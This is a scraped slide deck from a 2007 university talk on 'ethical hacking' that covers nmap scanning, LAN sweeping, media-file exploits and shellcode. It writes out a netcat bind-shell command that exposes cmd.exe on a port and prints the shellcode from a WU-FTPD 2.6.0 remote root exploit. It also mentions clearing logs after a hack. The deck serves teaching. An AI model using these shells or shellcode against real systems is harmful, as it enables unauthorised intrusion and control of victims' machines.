Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Security & ethical hacking p2


Published on

ethical hacking

Published in: Technology
  • Be the first to comment

  • Be the first to like this

Security & ethical hacking p2

  1. 1. Security & “Ethical” Hacking Luke Arntson Central Washington University Winter 2007 Presentation #2 – Advanced Scanning & Exploitation
  2. 2. Introduction <ul><li>Again “ Ethical ” hacking </li></ul><ul><li>Do you Sniff before you taste? </li></ul><ul><li>Patience, persistence, some other motivational p word… </li></ul><ul><li>Have phun, getting frustrated is normal </li></ul>
  3. 3. About Me
  4. 4. Overview <ul><li>Advanced scanning with NMAP (as seen in the Matrix) </li></ul><ul><li>Local IP Sweeping & its importance </li></ul><ul><li>Netcat rooting, a simple shell </li></ul><ul><li>Identify Station ( operating system ) </li></ul><ul><li>Brief Exploit talk & Shell code </li></ul><ul><li>Exploits via Jpgs, Pngs, Mp3s, etc. </li></ul><ul><li>Conclusion </li></ul>
  5. 5. Advanced Scanning (NMAP) <ul><li>Ok, we have acquired an IP (or range of) and we want to find out some information about this system . </li></ul><ul><li>We will use a very popular program named Nmap . </li></ul><ul><li>Almost every Linux install its packaged, Windows you will need to download Nmap and the Win-Pcap files. </li></ul>
  6. 6. Advanced Scanning (NMAP) <ul><li>Lets look at some of the information techniques provided by nmap </li></ul><ul><li>SCAN TECHNIQUES : </li></ul><ul><li>-sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans </li></ul><ul><li>-sU: UDP Scan </li></ul><ul><li>-sN/sF/sX: TCP Null, FIN, and Xmas scans </li></ul><ul><li>--scanflags <flags>: Customize TCP scan flags </li></ul><ul><li>-sI <zombie host[:probeport]>: Idlescan </li></ul><ul><li>-sO: IP protocol scan </li></ul><ul><li>-b <ftp relay host>: FTP bounce scan </li></ul><ul><li>We will be using another scan technique to probe open ports and determine service/versions in use: -sV </li></ul>
  7. 7. Advanced Scanning (NMAP) <ul><li>So lets run a -sV scan along with -v for verbose and -O for OS detection </li></ul>
  8. 8. Advanced Scanning (NMAP) <ul><li>So lots of gibberish, but we can sort through this for VERY important details! </li></ul><ul><li>First: we have all of the open ports , along with what versions they are running! Port 139.. Very interesting. </li></ul><ul><li>Second: we also found out the operating system ! Windows 98 SE… that will be later. </li></ul>
  9. 9. Protection from NMAP <ul><li>Keep those firewalls up if you’re not a server and you’re not hosting. </li></ul><ul><li>There is not much you can do.. and NMAP can be extremely stealthy using advanced techniques. </li></ul><ul><li>It is scary how much information can be acquired about you by a simple sniff and run. </li></ul>
  10. 10. Local IP Sweeping <ul><li>The LAN is the weakest network generally </li></ul><ul><li>Open ports , open boxes , free IPs , easy sweeps </li></ul><ul><li>Vast majority of people feel other computers within the LAN are not hackers , but compromise a wireless router & bam… </li></ul>
  11. 11. Using Angry IP Scanner Again! <ul><li>Angry IP Scanner ; Its script kiddie, but it works very well, and is faster than NMAP </li></ul><ul><li>Lets grab our local IP on the network, and begin our scan , so we are currently, and we know our range is 192.168.5.* </li></ul><ul><li>Use Angry IP Scanner just to find available peers on the network, this is VERY useful for a compromised wireless router or compromised system on a router </li></ul>
  12. 12. We Have Local Victims! <ul><li>Okay, we have local victims, we can now use Nmap on each victim. </li></ul><ul><li>Nmap will also bypass firewalls given enough time with the –P0 option. </li></ul><ul><li>Once we know operating systems , open ports , we can use online security search tools such as and locate exploits ! </li></ul>
  13. 13. Importance of Local Sweeps <ul><li>Compromised routers = compromised systems, vulnerable on the inside only. </li></ul><ul><li>Apply a full control root kit to a computer behind a router, and you have LAN access… hence local IP sweeping </li></ul><ul><li>Viruses often spread within a network (commercial, government, etc.) using LAN sweeps </li></ul>
  14. 14. Netcat Rooting (Simple Shell) <ul><li>Ok, we want to see what kind of access a shell really has on a system. </li></ul><ul><ul><li>Shell referring to a command prompt window on another computer. </li></ul></ul><ul><li>Netcat is a very useful UDP/TCP raw client/server that can also double as a nice shell. </li></ul><ul><li>A windows version is free to download, Linux generally comes with NC in the shell already. </li></ul>
  15. 15. Client/Server <ul><li>Determine which computer you want to have a shell on, and put nc.exe somewhere on there. </li></ul><ul><li>Next run nc.exe with the following parameters: nc.exe –l –p 666 –e “cmd.exe” </li></ul><ul><li>This will execute Netcat to listen on port 666, and when connected , it will execute and send the output of cmd.exe on the server. </li></ul>
  16. 16. Client Connection <ul><li>Client now connects to the server using the corresponding line: </li></ul><ul><li>nc.exe 666 </li></ul><ul><li>And Viola! Netcat shell over the network. </li></ul>
  17. 17. Why Netcat Root? <ul><li>A nice way to make your first root , easy to expand on this. </li></ul><ul><li>Potential is HUGE when the –e “???” command is used. </li></ul><ul><li>Netcat is open source , so you can venture the source code to understand how exactly Netcat does this. </li></ul><ul><li>This also works in Unix, just replace cmd.exe with a Unix shell ;) </li></ul>
  18. 18. Identify Station <ul><li>Continuation of Nmap OS discovery </li></ul><ul><li>Once we have found a target, what kind of operating system is it running? </li></ul><ul><li>Nmap -O command will usually show you, unless the computer has a firewall on. </li></ul>
  19. 19. Importance of OS ID <ul><li>Exploiting and choice of exploits/roots is always dependent on the type of OS </li></ul><ul><li>Do we want to look for likely exploits , find a more aggressive approach, or leave it. </li></ul><ul><ul><li>For example, Linux servers often have a SSH server open, we can either nmap –sV and exploit, or try to bruteforce. </li></ul></ul><ul><li>Need to know what we are trying to hack, especially when cleaning up after a successful hack (log files, email reports of floods / bruteforce, rootkits, etc.) </li></ul>
  20. 20. Brief Exploits & Shell Code <ul><li>Exploits come in all sorts of languages & sizes . Some are simple run once on an IP, others have various options and offsets . </li></ul><ul><li>Exploits are used as a way of getting into a system, shell code is what happens AFTER the exploit is successful . </li></ul><ul><li>Shell code will always vary with experienced hackers, as they will always have useful shells on hand. </li></ul>
  21. 21. Example Shellcode used by WUFTPD 2.6.0 REMOTE ROOT EXPLOIT <ul><li>char linuxcode[]= /* Lam3rZ chroot() code */ &quot;x31xc0x31xdbx31xc9xb0x46xcdx80x31xc0x31xdb&quot; &quot;x43x89xd9x41xb0x3fxcdx80xebx6bx5ex31xc0x31&quot; &quot;xc9x8dx5ex01x88x46x04x66xb9xffxffx01xb0x27&quot; &quot;xcdx80x31xc0x8dx5ex01xb0x3dxcdx80x31xc0x31&quot; &quot;xdbx8dx5ex08x89x43x02x31xc9xfexc9x31xc0x8d&quot; &quot;x5ex08xb0x0cxcdx80xfexc9x75xf3x31xc0x88x46&quot; &quot;x09x8dx5ex08xb0x3dxcdx80xfex0exb0x30xfexc8&quot; &quot;x88x46x04x31xc0x88x46x07x89x76x08x89x46x0c&quot; &quot;x89xf3x8dx4ex08x8dx56x0cxb0x0bxcdx80x31xc0&quot; &quot;x31xdbxb0x01xcdx80xe8x90xffxffxffxffxffxff&quot; &quot;x30x62x69x6ex30x73x68x31x2ex2ex31x31&quot;; </li></ul><ul><li>This is machine code , used to give specific calls in Linux that will call chroot() and give the hacker a shell on the vulnerable system. </li></ul><ul><li>This is public knowledge, just type the following in Google: </li></ul><ul><li> wuftpd exploit filetype:c </li></ul>
  22. 22. More on Shells Later <ul><li>Creating shells is an entirely different topic, and we will go into how they actually figure out which machine code to use and where to inject this in a later presentation. </li></ul><ul><li>Shells are scary to look at because if you do not know the machine code or the system its intended for, there is absolutely no way to know what its doing, but it can compromise a system! </li></ul>
  23. 23. Exploits via Jpg, Pngs, Mp3s <ul><li>Exploits come in many varieties , as it just takes a stray string call or a bad size check to make a program vulnerable. </li></ul><ul><li>All sorts of formats have been vulnerable, for example the famous GDI+ Jpg vulnerability that would execute code just by viewing a jpg! </li></ul>
  24. 24. GDI+ Jpg vulnerability <ul><li>Posted on Sept. 30, 2004 </li></ul><ul><li>“ In the exploit attempts against AIM users, intruders post a copy of an infected JPEG image to their user profile and then send instant messages to other AIM users enticing them to view that profile. When someone views such a profile and the JPEG image loads the viewing user's computer is then infected. Still other exploits have been discovered. According to Symantec two other Trojans, “Moo” and “Backdoor.Roxe” are spreading although neither appears to have spread to more than 50 computers at the time of this writing. “ – Mark Joseph Edwards </li></ul><ul><ul><li> </li></ul></ul>
  25. 25. Exploits via Jpg, Pngs, Mp3s <ul><li>Other vulnerabilities in the form of Pngs and Mp3s have come into the wild. </li></ul><ul><li>One Mp3 would use the header to execute a shell in Winamp when the meta-data was loaded. </li></ul><ul><li>A Png exploit in MSN Messenger would allow hackers to put shellcode in a Png and display it as a buddy icon to other users. </li></ul>
  26. 26. Just because its media… <ul><li>Just because you’re viewing a jpg, png, mp3, wmv, you could still be running something that exploits your computer. </li></ul><ul><li>Many people think exploits come in very limited forms of scripts, tcp/udp injections or executables, but there are many ways in. </li></ul>
  27. 27. Resources <ul><li>If this type of information interests you, there are many safe online resources. </li></ul><ul><li> - a friendly playground for web hackers </li></ul><ul><li> - a very good place for random articles with great pieces of info </li></ul><ul><li> - some of the best up-to-date info about vulnerabilities and exploits. </li></ul>
  28. 28. Conclusion <ul><li>Again, I emphasize just because I’m showing you this, does NOT make it legal. </li></ul><ul><ul><li>In fact, scanning government systems with NMAP and getting caught can land you with fines & possible jail time. Running exploits with shellcode you do not trust could be potentially exposing your test system to a wild virus or backdoor you do not know about. </li></ul></ul><ul><li>Remember, finding exploits that work is tedious, not everything you find online works every time . Setup a fun box (something like Mandrake) and install some vulnerable software on there. See if you can break into it. Ex. Wuftpd 2.60. Have fun , it takes work so don’t give up! </li></ul>
  29. 29. Thank You For Your Time! <ul><li>Feel free to email me any questions/comments at </li></ul><ul><li>[email_address] </li></ul>